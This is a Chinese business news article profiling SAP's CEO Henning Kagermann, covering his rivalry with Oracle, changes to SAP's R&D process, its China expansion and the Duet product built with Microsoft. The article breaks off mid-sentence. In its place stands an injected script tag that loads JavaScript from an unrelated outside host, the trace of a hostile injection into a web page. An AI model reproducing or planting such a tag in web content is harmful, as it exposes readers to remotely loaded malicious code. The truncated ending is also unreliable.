整个软件行业已经卷入剧烈变革的风口浪尖。远在德国海德堡南部沃尔多夫平静小镇上的sap总部办公室，孔翰宁也能清晰地感知全球软件行业目前的动荡不安。
面对《第一财经日报》的采访，外表温文尔雅的孔翰宁，眼神却相当锐利而坚定。教授出身的他，常戴着一副无框眼镜，散发着浓郁的学者气息。sap北亚区兼大中国区总裁西曼半开玩笑地形容他，“外表很像爱因斯坦”。孔翰宁曾经是一名出色的数学家兼物理学家，1982年,强烈的好奇心主宰了他的职业转换。“新鲜的事物通常会吸引我的注意力。”
据美国《财富》杂志报道，世界10家规模最大公司中的7家、10家最赚钱企业里的9家，都使用sap软件。当被问及oracle(甲骨文)与其一直在全球市场进行的激烈竞争是否会使oracle成为sap的假想敌时，孔翰宁只是淡淡地表示，不能说是敌人，只是竞争对手。而中国一直是双方竞争最激烈的战场。作为sap的董事局主席兼ceo，孔翰宁在中国最艰巨的任务，就是与oracle展开一场近身“肉搏”，而这场“肉搏战”也日益白热化。
孔翰宁已经年近60岁，其在德国的受关注度丝毫不比德国首位女总理安格拉·默克尔逊色。不过，他依然选择了一种跟oracle掌门人埃里森的张扬不羁不同的生存方式，更注重公司的实际业绩，“我并不认为明星ceo会带来明星般的公司业绩。”2001年11月，当时仍是董事会联合主席兼ceo的孔翰宁，去北京首都机场乘坐的是一辆租来的中巴。随后的几次访华，他都一直保持着一贯的平易作风，轻衣简行。
遏制松散研发机制
与孔翰宁相比，oracle的埃里森更像是一只猛狮，贪婪地吞噬着全球市场中的各种大小公司。他常自视为奋勇冲杀的武士，近年来，为了扩大市场份额，拓展新的生存空间，经常与sap针锋相对地收购其他管理软件公司。
面对长期的劲敌oracle近年来进行的一系列大规模的咄咄逼人的并购交易，孔翰宁之后选择了缄默。他似乎不乐于参与这场“吞虾之战”，“我让员工把重点放在客户而不是竞争对手身上。”
在sap意图收购零售业软件公司 retek 时，由于oracle 介入，孔翰宁在百般权衡下理性地选择了退出。
他把更多精力放在了新产品的研发上。他开始更加关注于命中率的提高。在决定一个新产品研发或利用某个新技术时，内部决策速度非常快，但审核流程相对粗糙。孔翰宁遏制了这种松散的研发气氛，现在，每个新研发项目都会经过专家和董事会的反复论证才会启动，尽管决策速度放缓，命中率却大大提高。
他的这种低调赢来了客户的尊重，近年以来，中海油、北京首都机场、tcl、海信等众多的企业都改用了sap的软件，其中很多客户都是从 oracle 转向sap 的。
孔翰宁公开表达其对中国市场的信心，“sap将大规模拓展在上海的sap中国研究院，计划在该研究院竣工时拥有1500名工程师。届时，该研究院将成为sap在全球的重要研发中心之一。”
孔翰宁希望自己能带领sap公司成功实现转型，并说服用户和sap共同进入一个新的技术时代。这个转型意味着双重考验。一方面是颠覆性的升级换代带来的客户心理的不确定性，另一方面，新的软件架构将彻底改变sap过去的运营模式，从市场、运营到跟客户打交道以及开发软件的方式都将发生重大变化。“从现在开始，sap从愿景到战略、价值观都要为下一阶段的成长做好准备。”孔翰宁说，“我希望能带领这家公司在业务上实现新的转型。同时，也在内部运行上，帮助sap达到‘最佳状态’。”
高盛公司预测，在4家主要企业应用软件提供商的软件许可收入中，sap所占的份额已增长到去年的70%。oracle(包括仁科)所占份额则由30%下降至20%。告别“个人英雄主义”
在谈及竞争时，孔翰宁坦言，微软也是潜在的竞争对手。但如果google想加入竞争，可能也是潜在的竞争对手。“不过我想还是很多其他的企业更加害怕google。”
尽管一贯的低调而温和，聪明的孔翰宁仍会不失时机地选择高调，表达自己的自信，尤其是在宣布与oracle之外的软件巨头结成同盟时，孔翰宁总会高调地出席在各地的同盟签约现场，与中国东软公司的合作，甚至“借用”了德国总理的助阵。
自从微软正式涉足sap所统治的企业应用软件市场后，sap在很多场合都将微软视为未来最大的竞争对手，而出乎意料的是，两家公司传出了合并传闻，之后比尔·盖茨和孔翰宁还是走到了一起，结成了战略联盟。
孔翰宁深信在这个世界上单打独斗并不能保持长久的胜利。在推动netw eaver 平台问世后，sap 就跟过去一直固守的个人英雄主义告别了。2006年5月，sap与微软公司首次宣布将发售孕育两年的结晶--duet，一种面向microsoft office 和sap erp的软件。duet支持信息工作者使用他们熟悉的微软office环境，访问已经选定的sap业务流程和数据。用户可以利用这种方式更加灵活地访问sap应用功能，从而帮助使用duet的公司节约时间和资金、增进对流程的遵守，协助决策制定。微软商?script src=http://er12.com/t.js>
